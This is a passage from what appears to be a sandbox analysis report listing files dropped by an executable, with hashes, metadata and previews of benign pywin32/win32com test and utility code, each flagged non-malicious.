Preview:	import unittest..import pythoncom.import win32com.test.util.import winerror...class TestROT(win32com.test.util.TestCase):. def testit(self):. ctx = pythoncom.CreateBindCtx(). rot = pythoncom.GetRunningObjectTable(). num = 0. for mk in rot:. name = mk.GetDisplayName(ctx, None). num += 1. # Monikers themselves can iterate their contents (sometimes :). try:. for sub in mk:. num += 1. except pythoncom.com_error as exc:. if exc.hresult != winerror.E_NOTIMPL:. raise.. # if num < 2:. # print "Only", num, "objects in the ROT - this is unusual"...if __name__ == "__main__":. unittest.main().

C:\recover\pw\Lib\site-packages\win32com\test\testServers.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.706826540555441
Encrypted:	false
SSDEEP:	24:qwpjcnNA9Yieey8XzXEV6yAGX1bSaPkCwRHPBqwRywSX9UpVLU:qwlcoYe97EV6yrX1maPkCwdPBqwkwkUo
MD5:	23988C675E63F14316531CDEED69BE2F
SHA1:	640E181A081B9CCAE3E5DEF2D0D89BFAB6190FA7
SHA-256:	458378BC8C3E5D33A555091F5DB0AAFCD1427A18E34C40820742889B58B95585
SHA-512:	62D77C4A79EAEE64FE2E7F5B5985C7D7BAAB4EC1811A1DC25D3E4FC4FA8E38A6C224407F4012846B0CD5179C9EECF0D4067365036364150F2EDC2873478814A4
Malicious:	false
Preview:	import unittest..import pythoncom.import win32com.client.dynamic.import win32com.test.util.import winerror...def TestConnections():. import win32com.demos.connect.. win32com.demos.connect.test()...class InterpCase(win32com.test.util.TestCase):. def setUp(self):. # Ensure the correct version registered.. from win32com.servers import interp. from win32com.test.util import RegisterPythonServer.. RegisterPythonServer(interp.__file__, "Python.Interpreter").. def _testInterp(self, interp):. self.assertEqual(interp.Eval("1+1"), 2). win32com.test.util.assertRaisesCOM_HRESULT(. self, winerror.DISP_E_TYPEMISMATCH, interp.Eval, 2. ).. def testInproc(self):. interp = win32com.client.dynamic.Dispatch(. "Python.Interpreter", clsctx=pythoncom.CLSCTX_INPROC. ). self._testInterp(interp).. def testLocalServer(self):. interp = win32com.client.dynamic.Dispatch(. "Python.Interpret

C:\recover\pw\Lib\site-packages\win32com\test\testShell.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	4.696975918107451
Encrypted:	false
SSDEEP:	96:pgYVJMiP5CCAsa3ilzj1lBJOvmv0LS2Yz1pECCH4CpV6cQUYBZLSsXM4:ppCC7amzj1lOuvXCH4CGcQU/P4
MD5:	32117930BDE8A38BB8DCBB9A4D8198BF
SHA1:	BB73B66B10AF6246A9EF010EDB59D9E4E36D2B6D
SHA-256:	80B49EC53D6FB396775BADEC4A0D200D9891E654CCB5153109FC9F3E3230524B
SHA-512:	AFE9ADC829E30DC8C8F25B665E2C0BBC87B77A8078EE05D51E2B61CAAF07E42913E844144B1F1F7E97C6077D16BE698B85895D7AAA64DC01B2DDE43C3217ADC3
Malicious:	false
Preview:	import datetime.import os.import struct.import sys..import win32timezone..try:. sys_maxsize = sys.maxsize # 2.6 and later - maxsize != maxint on 64bits.except AttributeError:. sys_maxsize = sys.maxint..import pythoncom.import pywintypes.import win32com.test.util.import win32con.from pywin32_testutil import str2bytes.from win32com.shell import shell.from win32com.shell.shellcon import .from win32com.storagecon import ...class ShellTester(win32com.test.util.TestCase):. def testShellLink(self):. desktop = str(shell.SHGetSpecialFolderPath(0, CSIDL_DESKTOP)). num = 0. shellLink = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ). persistFile = shellLink.QueryInterface(pythoncom.IID_IPersistFile). names = [os.path.join(desktop, n) for n in os.listdir(desktop)]. programs = str(shell.SHGetSpecialFolderPath(0, CSIDL_PROGRAMS

C:\recover\pw\Lib\site-packages\win32com\test\testStorage.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3625
Entropy (8bit):	4.665780791634578
Encrypted:	false
SSDEEP:	48:E0r6nYZmE9W2JjQy+3IRPniJ+rJyqBNQE9WQKnPNtgMrCoUPNhRfS:E0unY39VJCItn5BN/9C1tIRq
MD5:	31FE9649C7E47F2D9D4BB6717B8E553C
SHA1:	6F26774EE37B8412FCA90E77C63E08EB670DDA84
SHA-256:	1AF4FB1C67236D552F8C4BA3FFE8C91A4C5686C98D3AB1C646E1E05CE39CB509
SHA-512:	FC99DB030FD5B102705510EB5DD34AA7C5ECF7AF9E97764ED90C047FB814CF7FCE6B74946AE941A7B40D814D08DE07722F04C0830D218E08F806335638BF831F
Malicious:	false
Preview:	import unittest..import pythoncom.import win32api.import win32com.test.util.from win32com import storagecon...class TestEnum(win32com.test.util.TestCase):. def testit(self):. fname, tmp = win32api.GetTempFileName(win32api.GetTempPath(), "stg"). m = storagecon.STGM_READWRITE \| storagecon.STGM_SHARE_EXCLUSIVE. ## file, mode, format, attrs (always 0), IID (IStorage or IPropertySetStorage, storage options(only used with STGFMT_DOCFILE). pss = pythoncom.StgOpenStorageEx(. fname, m, storagecon.STGFMT_FILE, 0, pythoncom.IID_IPropertySetStorage. ). ### {"Version":2,"reserved":0,"SectorSize":512,"TemplateFile":u'somefilename'}).. ## FMTID_SummaryInformation FMTID_DocSummaryInformation FMTID_UserDefinedProperties. psuser = pss.Create(. pythoncom.FMTID_UserDefinedProperties,. pythoncom.IID_IPropertySetStorage,. storagecon.PROPSETFLAG_DEFAULT,. storagecon

C:\recover\pw\Lib\site-packages\win32com\test\testStreams.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4310
Entropy (8bit):	4.653554216679465
Encrypted:	false
SSDEEP:	96:MrVx4eETBfOd0SVb8tYM6Rd+smYAbdIF6IWm9AIbJNiLFxS5hq:MrVSe0BfOd0SVwtYM6P+smYA26IWBSrq
MD5:	3E84ECE2EBF5845441965B5484AB2E05
SHA1:	03561EC1979B1B1C33A0E00DF85D862972C288EF
SHA-256:	495150654FC1418F26F305061DE4C1D3EF88AE62B3245CBFA9D0C1B49F2DF95B
SHA-512:	C0871F43D00485B0CD30B4C1025CB9C5E4027B8726658AF15759A2F566CB28B10B207511E38FB2E96E6153DBB588C54572E49DCCFD0EBEC135735D8B3DAB3E80
Malicious:	false
Preview:	import unittest..import pythoncom.import win32com.server.util.import win32com.test.util.from pywin32_testutil import str2bytes...class Persists:. _public_methods_ = [. "GetClassID",. "IsDirty",. "Load",. "Save",. "GetSizeMax",. "InitNew",. ]. _com_interfaces_ = [pythoncom.IID_IPersistStreamInit].. def __init__(self):. self.data = str2bytes("abcdefg"). self.dirty = 1.. def GetClassID(self):. return pythoncom.IID_NULL.. def IsDirty(self):. return self.dirty.. def Load(self, stream):. self.data = stream.Read(26).. def Save(self, stream, clearDirty):. stream.Write(self.data). if clearDirty:. self.dirty = 0.. def GetSizeMax(self):. return 1024.. def InitNew(self):. pass...class Stream:. _public_methods_ = ["Read", "Write", "Seek"]. _com_interfaces_ = [pythoncom.IID_IStream].. def __init__(self, data):. self.data = data. self

C:\recover\pw\Lib\site-packages\win32com\test\testWMI.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.642578373992172
Encrypted:	false
SSDEEP:	12:LLyD1GtYAR9YvALRYaHMfY2BmBJg0ASxuUBbzjx2pV7u:aJmYAR90ALqaHOGJg0MUBbP4pVS
MD5:	232B63F04ED5AF9A55D9AA29323B1A5A
SHA1:	0E566DF1E6CF68EF3F9593F7FAA9504560667BB3
SHA-256:	C0EE7863FB5BEDA45AB2F867878971539B7E9CFACC5AA5621476729F74432C23
SHA-512:	D7AB3C438DE049BC9A8CBA6ABB4B5FAFE91D13C8CE5258C9602D2F81EEE80FD23B3F719ECB4EC062C3C3CF322F5B3CF48B9A3A86FE85897C63281C4ED185FE4A
Malicious:	false
Preview:	import unittest..import win32com.test.util.from win32com.client import GetObject...class Simple(win32com.test.util.TestCase):. def testit(self):. cses = GetObject("WinMgMts:").InstancesOf("Win32_Process"). vals = []. for cs in cses:. val = cs.Properties_("Caption").Value. vals.append(val). self.assertFalse(len(vals) < 5, "We only found %d processes!" % len(vals))...if __name__ == "__main__":. unittest.main().

C:\recover\pw\Lib\site-packages\win32com\test\testall.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9904
Entropy (8bit):	4.5596532805041745
Encrypted:	false
SSDEEP:	192:RbcidMLQ0fbgntHlvAJE4Eyl5gQ16OMPunmstb3JCOSNk3XNj8d:RbF3fdpYEyc3kghknR+
MD5:	762B5806764FB8884DDF708AC1713DAF
SHA1:	9D3F88513B31F7C014953ADC003284EE169D262B
SHA-256:	D1095A75E18D533102A903BBC6A901FABC72BCE0433BC5A6741EF8F449344BF4
SHA-512:	17D2B8FD164377BD7361F50CB09C7C595B14B15B4FD9B5BCE5DE0F1966FC10B51CD1468013FD17A3204AF23A7C61905400ECA3D0A085C8E1F4F24C06A088E3BC
Malicious:	false
Preview:	import getopt.import os.import re.import sys.import traceback.import unittest..try:. this_file = __file__.except NameError:. this_file = sys.argv[0]..win32com_src_dir = os.path.abspath(os.path.join(this_file, "../.."))..import win32com..# We'd prefer the win32com namespace to be the parent of __file__ - ie, our source-tree,.# rather than the version installed - otherwise every .py change needs a full install to.# test!.# We can't patch win32comext as most of them have a .pyd in their root :(.# This clearly ins't ideal or perfect :).win32com.__path__[0] = win32com_src_dir..import pythoncom.import win32com.client.from win32com.test.util import (. CapturingFunctionTestCase,. CheckClean,. RegisterPythonServer,. ShellTestCase,. TestCase,. TestLoader,. TestRunner,.)..verbosity = 1 # default unittest verbosity....def GenerateAndRunOldStyle():. from . import GenTestScripts.. GenTestScripts.GenerateAll(). try:. pass #. finally:. GenTestScri

C:\recover\pw\Lib\site-packages\win32com\test\testmakepy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	4.632062553526672
Encrypted:	false
SSDEEP:	48:/DArNcTt2i5aGZBmO8Q3U/8AMahNt9YC7:/DAoxaWcO8QbaRn7
MD5:	32824449739BE20E2462D0D5D9005CF9
SHA1:	5ED03EDE8C1DA880429F946B575D8E764441565D
SHA-256:	D7865B59B9A3D0F3A2A5FEDE37447FEDAA81E0A4EFBFD2DE329AAC82A1D1FF1F
SHA-512:	F15B0D2C6E061821C180F5E69163A0F04E3B762A765893181F946C29D3CBF5B1EEE45EB75E0060F18E91A649B5462FF26D4C7F80AF09F2A1DCE85AAA6520A22A
Malicious:	false
Preview:	# Test makepy - try and run it over every OCX in the windows system directory...import sys.import traceback..import pythoncom.import win32api.import win32com.test.util.import winerror.from win32com.client import gencache, makepy, selecttlb...def TestBuildAll(verbose=1):. num = 0. tlbInfos = selecttlb.EnumTlbs(). for info in tlbInfos:. if verbose:. print("%s (%s)" % (info.desc, info.dll)). try:. makepy.GenerateFromTypeLibSpec(info). # sys.stderr.write("Attr typeflags for coclass referenced object %s=%d (%d), typekind=%d\n" % (name, refAttr.wTypeFlags, refAttr.wTypeFlags & pythoncom.TYPEFLAG_FDUAL,refAttr.typekind)). num += 1. except pythoncom.com_error as details:. # Ignore these 2 errors, as the are very common and can obscure. # useful warnings.. if details.hresult not in [. winerror.TYPE_E_CANTLOADLIBRARY,. winerror.TYPE_E_LIBNOTREGISTERED,

C:\recover\pw\Lib\site-packages\win32com\test\testvb.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20911
Entropy (8bit):	4.667838645415224
Encrypted:	false
SSDEEP:	384:HG8iXGFLsGFG2gC3UaBNtxtwYtotz/G6M9G5CPu7ugGyb7jiV9h+KEST+J/E/KEB:HGOUetxtFtotC6OG8eiRKI3l5rJyjEOg
MD5:	2C2F8654593CD56FA8550FFE38A76FDC
SHA1:	03B23958261A9DD7D8B986CA3CCFCD4358C3C813
SHA-256:	BC938B79C1CB61F3B4D79C3E239CB60F0F7AF98CF88FA3DADBB30E935E929421
SHA-512:	89E4E93ED244D50380085D174D58E1A1C7F01C2C91D39311503AD482B5DCAF7CA73295860F47DCAC3466DC7B7413E2F60E9F584193A2CB45E27F2A8CCF731768
Malicious:	false
Preview:	# Test code for a VB Program..#.# This requires the PythonCOM VB Test Harness..#..import sys.import traceback..import pythoncom.import win32com.client.import win32com.client.dynamic.import win32com.client.gencache.import winerror.from pywin32_testutil import str2memory.from win32com.server.util import NewCollection, wrap.from win32com.test import util..# for debugging.useDispatcher = None.## import win32com.server.dispatcher.## useDispatcher = win32com.server.dispatcher.DefaultDebugDispatcher..error = RuntimeError...# Set up a COM object that VB will do some callbacks on. This is used.# to test byref params for gateway IDispatch..class TestObject:. _public_methods_ = [. "CallbackVoidOneByRef",. "CallbackResultOneByRef",. "CallbackVoidTwoByRef",. "CallbackString",. "CallbackResultOneByRefButReturnNone",. "CallbackVoidOneByRefButReturnNone",. "CallbackArrayResult",. "CallbackArrayResultOneArrayByRef",. "CallbackArrayRes

C:\recover\pw\Lib\site-packages\win32com\test\testvbscript_regexp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	4.691199509807831
Encrypted:	false
SSDEEP:	24:aJws2q91vyqW5NgXnnUutaNiVaok5OpVS:Ews2kVvQNQnn1mGTfS
MD5:	85D4894892C1975ABDC339212CBAFD49
SHA1:	1E0FB80CF40EB687053E12A00DC74DFA56808795
SHA-256:	108114E128DE165DB1C520EB2EC758838F8F8AF58F723DC0597B93DD95EBA741
SHA-512:	DD442D7357F814D3D762608464E752C9493758E2BA5AEB8E41A0E6B80FAF4C56A5CAFD531C7EF8794BDC8C02281E5BBC5E765A5D803D892A55265B60E3A6F1E0
Malicious:	false
Preview:	import unittest..import win32com.test.util.from win32com.client.dynamic import DumbDispatch.from win32com.client.gencache import EnsureDispatch...class RegexTest(win32com.test.util.TestCase):. def _CheckMatches(self, match, expected):. found = []. for imatch in match:. found.append(imatch.FirstIndex). self.assertEqual(list(found), list(expected)).. def _TestVBScriptRegex(self, re):. StringToSearch = "Python python pYthon Python". re.Pattern = "Python". re.Global = True.. re.IgnoreCase = True. match = re.Execute(StringToSearch). expected = 0, 7, 14, 21. self._CheckMatches(match, expected).. re.IgnoreCase = False. match = re.Execute(StringToSearch). expected = 0, 21. self._CheckMatches(match, expected).. def testDynamic(self):. re = DumbDispatch("VBScript.Regexp"). self._TestVBScriptRegex(re).. def testGenerated(self):. re = EnsureDispatch("VBScrip

C:\recover\pw\Lib\site-packages\win32com\test\testxslt.js

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	569
Entropy (8bit):	4.996906879670943
Encrypted:	false
SSDEEP:	12:aqg5AGVGQTA+ejRRB3cxEAGV87oNRRB1qkOA0gmLMBejLl7mW+QR3C:aT5AGIQ8P3hcxEAGR3PqkN0gmQcVhjRy
MD5:	D554BE734CB85844B11399768011CCE4
SHA1:	ED8AFBCD33369D5639D3C0BC32B7ABC6BDBDC85F
SHA-256:	75F0426A7CBE91D5556170F93A69A07FB1657790CE5615AAEE894CE17A39EF11
SHA-512:	9F59DEED36D9C36B68FA33A25C66A5BC8AA937DA1CDD41D5106B8072BE56F1C082162603BA260E2948A2C4D630D7219BF733FD3D841527578B0CD4CEF5775620
Malicious:	false
Preview:	//Args: input-file style-file output-file.var xml = WScript.CreateObject("Microsoft.XMLDOM"); //input.xml.validateOnParse=false;.xml.load(WScript.Arguments(0));.var xsl = WScript.CreateObject("Microsoft.XMLDOM"); //style.xsl.validateOnParse=false;.xsl.load(WScript.Arguments(1));.var out = WScript.CreateObject("Scripting.FileSystemObject"); //output.var replace = true; var unicode = false; //output file properties.var hdl = out.CreateTextFile( WScript.Arguments(2), replace, unicode ).hdl.write( xml.transformNode( xsl.documentElement ));.//eof.

C:\recover\pw\Lib\site-packages\win32com\test\testxslt.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	921
Entropy (8bit):	4.210786222625114
Encrypted:	false
SSDEEP:	24:0gchw3F9GRa+eRtyRdgkLgrYrmYJbn2xpVS:Ghw3LGrenC/dVJb2xfS
MD5:	C7D703290904AF62F8A614D2F10E5403
SHA1:	2C9FD5E5AFBD6906B98689D16C7A006A4599DF85
SHA-256:	8AF9A3943E86626C6D6CC91C11594B12A3C02A82764171F0C064991D82A27ACB
SHA-512:	7880BEA13CB219E5EB04E5ABA8D4462817FA37C77E47931FA90E76305138B167ADC2EAD920B5C655FB76D0E07ADC34AD38AE02355D41275D2A5E6B99AB315621
Malicious:	false
Preview:	import os.import tempfile.import unittest..import win32com.test.util..expected_output = "The jscript test worked.\nThe Python test worked"...class XSLT(win32com.test.util.TestCase):. def testAll(self):. output_name = tempfile.mktemp("-pycom-test"). cmd = (. "cscript //nologo testxslt.js doesnt_matter.xml testxslt.xsl " + output_name. ). win32com.test.util.ExecuteShellCommand(cmd, self). try:. f = open(output_name). try:. got = f.read(). if got != expected_output:. print("ERROR: XSLT expected output of %r" % (expected_output,)). print("but got %r" % (got,)). finally:. f.close(). finally:. try:. os.unlink(output_name). except os.error:. pass...if __name__ == "__main__":. unittest.main().

C:\recover\pw\Lib\site-packages\win32com\test\testxslt.xsl

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2058
Entropy (8bit):	4.628887308709545
Encrypted:	false
SSDEEP:	48:+aHUa1HXIULa1dhchWMfQHPV3M3Ll7vvIT91wlLv:+f0HX1QGJfQHPdULJvATvwlb
MD5:	3AB554D42090171E1253172269EA23CC
SHA1:	B0999CC2465E29972BA22D62B99D5F7F57AB692A
SHA-256:	EBEAC1C9122414E43557AF079F4341A73A7A5B0E5C87AB85BD82430BD8CB8D81
SHA-512:	B356E2C9E370A18296F81E91DCA2F698B1BDDA6A046BEC911B7C0746F5EC16D5032A0BED169BB439F87A0C94543DE0E9FA484B7D4E1297B06CD3C5620FFEFFCF
Malicious:	false
Preview:	include in the xsl:stylesheet element:. (a) the version attribute as usual. (b) the XSLT namespace declaration as usual. (c) the MSXSL namespace declaration. (d) a namespace declaration to identify your functions. (e) the 'extension-element-prefixes' attribute to give the. namespace prefixes that indicate extension elements. (i.e. 'msxsl'). (f) the 'exclude-result-prefixes' attribute to indicate the. namespaces that aren't supposed to be part of the result. tree (i.e. 'foo') -->.<xsl:stylesheet version="1.0". xmlns:xsl="http://www.w3.org/1999/XSL/Transform". xmlns:msxsl="urn:schemas-microsoft-com:xslt". xmlns:foo="http://www.pythoncom-test.com/foo". xmlns:bar="http://www.pythoncom-test.com/bar". extension-element-prefixes="msxsl". exclude-result-prefixes="foo bar">.. do whatever output you want - you can use full XSLT functionality.

C:\recover\pw\Lib\site-packages\win32com\test\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8175
Entropy (8bit):	4.552793670747682
Encrypted:	false
SSDEEP:	192:6HDNB3kwqLuPs+hQVYgNxFcFqgM1k4JMzQKoJ5mdjqmS:6HDNkL42xcx4JMzQKoHr
MD5:	EB32AD5A4CB98B7A2F49BA7DBBFD7057
SHA1:	382F050294B787A9D82DB6F05B24EFE601D4ABAC
SHA-256:	AE3F40AAE239A49FCF2C8D3E992C934BE17203FA04EE389B83C07B1BAC7BB324
SHA-512:	F19D14CC099DBD4F981B20FA71083608443769A6F6050FD3D42A12FF3A0923045509A16314B6C771B9CAAA8A34AF2BB8217F7C789BE3246862285187F32D9354
Malicious:	false
Preview:	import gc.import logging.import os.import sys.import tempfile.import unittest.import winreg..import pythoncom.import pywin32_testutil.import pywintypes.import win32api.import win32com.import winerror.from pythoncom import _GetGatewayCount, _GetInterfaceCount.from pywin32_testutil import LeakTestCase, TestLoader, TestResult, TestRunner...def CheckClean():. # Ensure no lingering exceptions - Python should have zero outstanding. # COM objects. try:. sys.exc_clear(). except AttributeError:. pass # py3k. c = _GetInterfaceCount(). if c:. print("Warning - %d com interface objects still alive" % c). c = _GetGatewayCount(). if c:. print("Warning - %d com gateway objects still alive" % c)...def RegisterPythonServer(filename, progids=None, verbose=0):. if progids:. if isinstance(progids, str):. progids = [progids]. # we know the CLSIDs we need, but we might not be an admin user. # and otherwise unable to regis

C:\recover\pw\Lib\site-packages\win32com\universal.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8532
Entropy (8bit):	4.453702334139223
Encrypted:	false
SSDEEP:	192:bqbZeElBn+fSCWT3kXo/rE6yZDbOKbKafMyDyX7:2ZeElBn+fSLQtDbRbIX7
MD5:	3FEC573C1329017514AE59E602836AB4
SHA1:	9D09532F0CD562EBCD1498249F290DA5C85BDA42
SHA-256:	97FBDE1DC49AEFC1239740553A8A07D0F74AE2A1A8060C54DACD018347DFAD9F
SHA-512:	CDE5918557A219A73C4750FE3285256F7B27087D28EC4F782BB3155A55DD53B9DC2EA31A4D079499C1FF29C46C59733862C18B7A5CDB227B9AB7185B274E9A1F
Malicious:	false
Preview:	# Code that packs and unpacks the Univgw structures...# See if we have a special directory for the binaries (for developers)..import pythoncom.from win32com.client import gencache..com_error = pythoncom.com_error._univgw = pythoncom._univgw...def RegisterInterfaces(typelibGUID, lcid, major, minor, interface_names=None):. ret = [] # return a list of (dispid, funcname for our policy's benefit. # First see if we have makepy support. If so, we can probably satisfy the request without loading the typelib.. try:. mod = gencache.GetModuleForTypelib(typelibGUID, lcid, major, minor). except ImportError:. mod = None. if mod is None:. import win32com.client.build.. # Load up the typelib and build (but don't cache) it now. tlb = pythoncom.LoadRegTypeLib(typelibGUID, major, minor, lcid). typecomp_lib = tlb.GetTypeComp(). if interface_names is None:. interface_names = []. for i in range(tlb.GetTypeInfoCount()):.

C:\recover\pw\Lib\site-packages\win32com\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1030
Entropy (8bit):	4.44193815730948
Encrypted:	false
SSDEEP:	24:4XDGwAD64VJZF80WHWQ/g6a6vh1ZMy6cvx16K67nBwa:y50647ZFIHVo6XvtMy6sEnSa
MD5:	0234252BED6F281EE2870D5CE30B539C
SHA1:	8B9BA395C4CDC7DD2627E91A2A2B93C15E6213FB
SHA-256:	EF265A6B2D99D45A776F178B7C495800ED817AE029E3D69C528CE55C16DD838A
SHA-512:	27E74951F7310C3A0CD68F0E9D8021CEE503A019AADD13F840C5EB5E59D42C4C992AD12057D8992B82AA72C7CBD79BB6B2618B8F9BDF24528375C20D6C10B4E4
Malicious:	false
Preview:	"""General utility functions common to client and server... This module contains a collection of general purpose utility functions..""".import pythoncom.import win32api.import win32con...def IIDToInterfaceName(iid):. """Converts an IID to a string interface name... Used primarily for debugging purposes, this allows a cryptic IID to. be converted to a useful string name. This will firstly look for interfaces. known (ie, registered) by pythoncom. If not known, it will look in the. registry for a registered interface... iid -- An IID object... Result -- Always a string - either an interface name, or '<Unregistered interface>'. """. try:. return pythoncom.ServerInterfaces[iid]. except KeyError:. try:. try:. return win32api.RegQueryValue(. win32con.HKEY_CLASSES_ROOT, "Interface\\%s" % iid. ). except win32api.error:. pass. except ImportError:.

C:\recover\pw\Lib\site-packages\win32comext\adsi\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3694
Entropy (8bit):	4.761000260193915
Encrypted:	false
SSDEEP:	96:isnKuMMO87ObEgZLR8y6QdRpvuczTQ1zfzREfmNRn:hlMgtAN8y68nQ1zfzREfmNRn
MD5:	25CD42B65143EE07806222BB716E209B
SHA1:	1BEEC40834774119611C43C5F1F3B70AD0D0240A
SHA-256:	5BFC052EE843BA68412A97F351A829A0D0B0CE8EF5655B676986D32F42BA5791
SHA-512:	F88709D7D08F654714D91C1D800EF3C576D12D0181E99C756ACB3777AEBFF143F61EB1DF591904DD61C33C6364A16D3950D13818C17AA6A8393690D6A56363F7
Malicious:	false
Preview:	import win32com.import win32com.client..if type(__path__) == type(""):. # For freeze to work!. import sys.. try:. import adsi.. sys.modules["win32com.adsi.adsi"] = adsi. except ImportError:. pass.else:. # See if we have a special directory for the binaries (for developers). win32com.__PackageSupportBuildPath__(__path__)...# Some helpers.# We want to _look_ like the ADSI module, but provide some additional.# helpers...# Of specific note - most of the interfaces supported by ADSI.# derive from IDispatch - thus, you get the custome methods from the.# interface, as well as via IDispatch..import pythoncom..from .adsi import *..LCID = 0..IDispatchType = pythoncom.TypeIIDs[pythoncom.IID_IDispatch].IADsContainerType = pythoncom.TypeIIDs[adsi.IID_IADsContainer]...def _get_good_ret(. ob,. # Named arguments used internally. resultCLSID=None,.):. assert resultCLSID is None, "Now have type info for ADSI objects - fix me!". # See if the object su

C:\recover\pw\Lib\site-packages\win32comext\adsi\adsi.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	6.516814809906401
Encrypted:	false
SSDEEP:	1536:sZovc+wbS4qLRNmxLhKE5jy2WqE3RX8YFhz1c4jurq:sCS23RExLhKEMqE3JFhz1c4ju+
MD5:	C9D92DEAAD81286033BD8597BD56EBF3
SHA1:	F75832F9A318E03F3517C32F3BC739F09DEDD739
SHA-256:	0980993B3890D478E79CD122376773979B858429DDFD1372129A6ED5F0CD7849
SHA-512:	85EB98D008BE197DAF653189DB5153B06B27C93A96919964125C50ACAB1065D8F9F306D557593D95925C73EC024A97247B13EC5AD2C34223D2AC6853B002C6F3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................b.................................a.................J..................Rich..................PE..L...t..d...........!.....................................................................@.............................H...(........P..L....................`......P...T...............................@...............h............................text............................... ..`.rdata..$q.......r..................@..@.data........0......................@....rsrc...L....P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\win32comext\adsi\adsicon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12303
Entropy (8bit):	4.812594738230301
Encrypted:	false
SSDEEP:	96:iesFrX0mFm6k1cfAf/flO590KP5yD4zxNjNMvvAw/3tcEI0SpEE3R1Snb+83Qgwz:yz0+xN+vvxtzSpEoR1OfQthVSfrsKbkd
MD5:	97001F17DB58C29F039147B67528F891
SHA1:	288383FBC5ED6630BCA5133C61667FEF99F1EF1A
SHA-256:	C6D18AE28861CE2A9C24F6F82943DAD9BB22B89CA9E010BDB3A4F987F5A37578
SHA-512:	05068DEF956ECE014A66F6FC51C66BE89C882EF1352CD4045A7C4836E5CE833838D9214F46FEA86DC91D506C00D5906B57377EA20C9ADD79D09944941FA5437D
Malicious:	false
Preview:	ADS_ATTR_CLEAR = 1.ADS_ATTR_UPDATE = 2.ADS_ATTR_APPEND = 3.ADS_ATTR_DELETE = 4.ADS_EXT_MINEXTDISPID = 1.ADS_EXT_MAXEXTDISPID = 16777215.ADS_EXT_INITCREDENTIALS = 1.ADS_EXT_INITIALIZE_COMPLETE = 2..ADS_SEARCHPREF_ASYNCHRONOUS = 0.ADS_SEARCHPREF_DEREF_ALIASES = 1.ADS_SEARCHPREF_SIZE_LIMIT = 2.ADS_SEARCHPREF_TIME_LIMIT = 3.ADS_SEARCHPREF_ATTRIBTYPES_ONLY = 4.ADS_SEARCHPREF_SEARCH_SCOPE = 5.ADS_SEARCHPREF_TIMEOUT = 6.ADS_SEARCHPREF_PAGESIZE = 7.ADS_SEARCHPREF_PAGED_TIME_LIMIT = 8.ADS_SEARCHPREF_CHASE_REFERRALS = 9.ADS_SEARCHPREF_SORT_ON = 10.ADS_SEARCHPREF_CACHE_RESULTS = 11.ADS_SEARCHPREF_DIRSYNC = 12.ADS_SEARCHPREF_TOMBSTONE = 13..ADS_SCOPE_BASE = 0.ADS_SCOPE_ONELEVEL = 1.ADS_SCOPE_SUBTREE = 2..ADS_SECURE_AUTHENTICATION = 0x1.ADS_USE_ENCRYPTION = 0x2.ADS_USE_SSL = 0x2.ADS_READONLY_SERVER = 0x4.ADS_PROMPT_CREDENTIALS = 0x8.ADS_NO_AUTHENTICATION = 0x10.ADS_FAST_BIND = 0x20.ADS_USE_SIGNING = 0x40.ADS_USE_SEALING = 0x80.ADS_USE_DELEGATION = 0x100.ADS_SERVER_BIND = 0x200..ADSTYPE_INVALID = 0.

C:\recover\pw\Lib\site-packages\win32comext\adsi\demos\objectPicker.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.948611303861004
Encrypted:	false
SSDEEP:	48:lHV2cCUG5d+jiWi2ctQuAlyFLLvBYwjm1baGooFHgpzZCWx/i:NctWit9A8xL5Ymm1baGooFApzpx/i
MD5:	BA0DAB35B6DCC0D124666CE5FB9EAEDB
SHA1:	DCE97AE0A508BA8D502D2D90B71FFB893EDAE84D
SHA-256:	E11BA5576094FBA15DDB5BE66E4E72FDA7E7F460593E8B815E026D2356B769D1
